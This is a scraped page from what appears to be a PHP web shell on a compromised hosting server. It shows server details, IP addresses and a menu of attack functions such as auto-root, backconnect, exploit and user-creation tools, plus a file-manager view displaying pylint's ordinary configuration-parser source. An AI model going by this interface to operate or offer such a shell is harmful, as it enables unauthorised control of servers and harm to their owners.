Linux boca.hozzt.com 4.18.0-553.8.1.lve.el8.x86_64 #1 SMP Thu Jul 4 16:24:39 UTC 2024 x86_64
LiteSpeed
: 159.253.39.62 | : 18.217.193.85
Cant Read [ /etc/named.conf ]
7.4.33
renovkoron
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
opt /
cloudlinux /
venv /
lib /
python3.11 /
site-packages /
pylint /
config /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
_pylint_config
[ DIR ]
drwxr-xr-x
__init__.py
2.43
KB
-rw-r--r--
argument.py
14.55
KB
-rw-r--r--
arguments_manager.py
31.95
KB
-rw-r--r--
arguments_provider.py
8.17
KB
-rw-r--r--
callback_actions.py
13.83
KB
-rw-r--r--
config_file_parser.py
4.53
KB
-rw-r--r--
config_initialization.py
4.96
KB
-rw-r--r--
configuration_mixin.py
1.55
KB
-rw-r--r--
deprecation_actions.py
2.88
KB
-rw-r--r--
environment_variable.py
405
B
-rw-r--r--
exceptions.py
816
B
-rw-r--r--
find_default_config_files.py
4.06
KB
-rw-r--r--
help_formatter.py
2.63
KB
-rw-r--r--
option.py
8.32
KB
-rw-r--r--
option_manager_mixin.py
14.48
KB
-rw-r--r--
option_parser.py
2.02
KB
-rw-r--r--
options_provider_mixin.py
4.51
KB
-rw-r--r--
utils.py
9.24
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : config_file_parser.py
# Licensed under the GPL: https://www.gnu.org/licenses/old-licenses/gpl-2.0.html # For details: https://github.com/PyCQA/pylint/blob/main/LICENSE # Copyright (c) https://github.com/PyCQA/pylint/blob/main/CONTRIBUTORS.txt """Configuration file parser class.""" from __future__ import annotations import configparser import os import sys import warnings from pathlib import Path from typing import TYPE_CHECKING from pylint.config.utils import _parse_rich_type_value if sys.version_info >= (3, 11): import tomllib else: import tomli as tomllib if TYPE_CHECKING: from pylint.lint import PyLinter class _ConfigurationFileParser: """Class to parse various formats of configuration files.""" def __init__(self, verbose: bool, linter: PyLinter) -> None: self.verbose_mode = verbose self.linter = linter def _parse_ini_file(self, file_path: Path) -> tuple[dict[str, str], list[str]]: """Parse and handle errors of a ini configuration file.""" parser = configparser.ConfigParser(inline_comment_prefixes=("#", ";")) # Use this encoding in order to strip the BOM marker, if any. with open(file_path, encoding="utf_8_sig") as fp: parser.read_file(fp) config_content: dict[str, str] = {} options: list[str] = [] for section in parser.sections(): if self._ini_file_with_sections(file_path) and not section.startswith( "pylint" ): if section.lower() == "master": # TODO: 3.0: Remove deprecated handling of master, only allow 'pylint.' sections warnings.warn( "The use of 'MASTER' or 'master' as configuration section for pylint " "has been deprecated, as it's bad practice to not start sections titles " "with the tool name. Please use 'pylint.main' instead.", UserWarning, ) else: continue for opt, value in parser[section].items(): config_content[opt] = value options += [f"--{opt}", value] return config_content, options @staticmethod def _ini_file_with_sections(file_path: Path) -> bool: """Return whether the file uses sections.""" if "setup.cfg" in file_path.parts: return True if "tox.ini" in file_path.parts: return True return False def _parse_toml_file(self, file_path: Path) -> tuple[dict[str, str], list[str]]: """Parse and handle errors of a toml configuration file.""" try: with open(file_path, mode="rb") as fp: content = tomllib.load(fp) except tomllib.TOMLDecodeError as e: self.linter.add_message("config-parse-error", line=0, args=str(e)) return {}, [] try: sections_values = content["tool"]["pylint"] except KeyError: return {}, [] config_content: dict[str, str] = {} options: list[str] = [] for opt, values in sections_values.items(): if isinstance(values, dict): for config, value in values.items(): value = _parse_rich_type_value(value) config_content[config] = value options += [f"--{config}", value] else: values = _parse_rich_type_value(values) config_content[opt] = values options += [f"--{opt}", values] return config_content, options def parse_config_file( self, file_path: Path | None ) -> tuple[dict[str, str], list[str]]: """Parse a config file and return str-str pairs.""" if file_path is None: if self.verbose_mode: print( "No config file found, using default configuration", file=sys.stderr ) return {}, [] file_path = Path(os.path.expandvars(file_path)).expanduser() if not file_path.exists(): raise OSError(f"The config file {file_path} doesn't exist!") if self.verbose_mode: print(f"Using config file {file_path}", file=sys.stderr) try: if file_path.suffix == ".toml": return self._parse_toml_file(file_path) return self._parse_ini_file(file_path) except (configparser.Error, tomllib.TOMLDecodeError) as e: self.linter.add_message("config-parse-error", line=0, args=str(e)) return {}, []
Close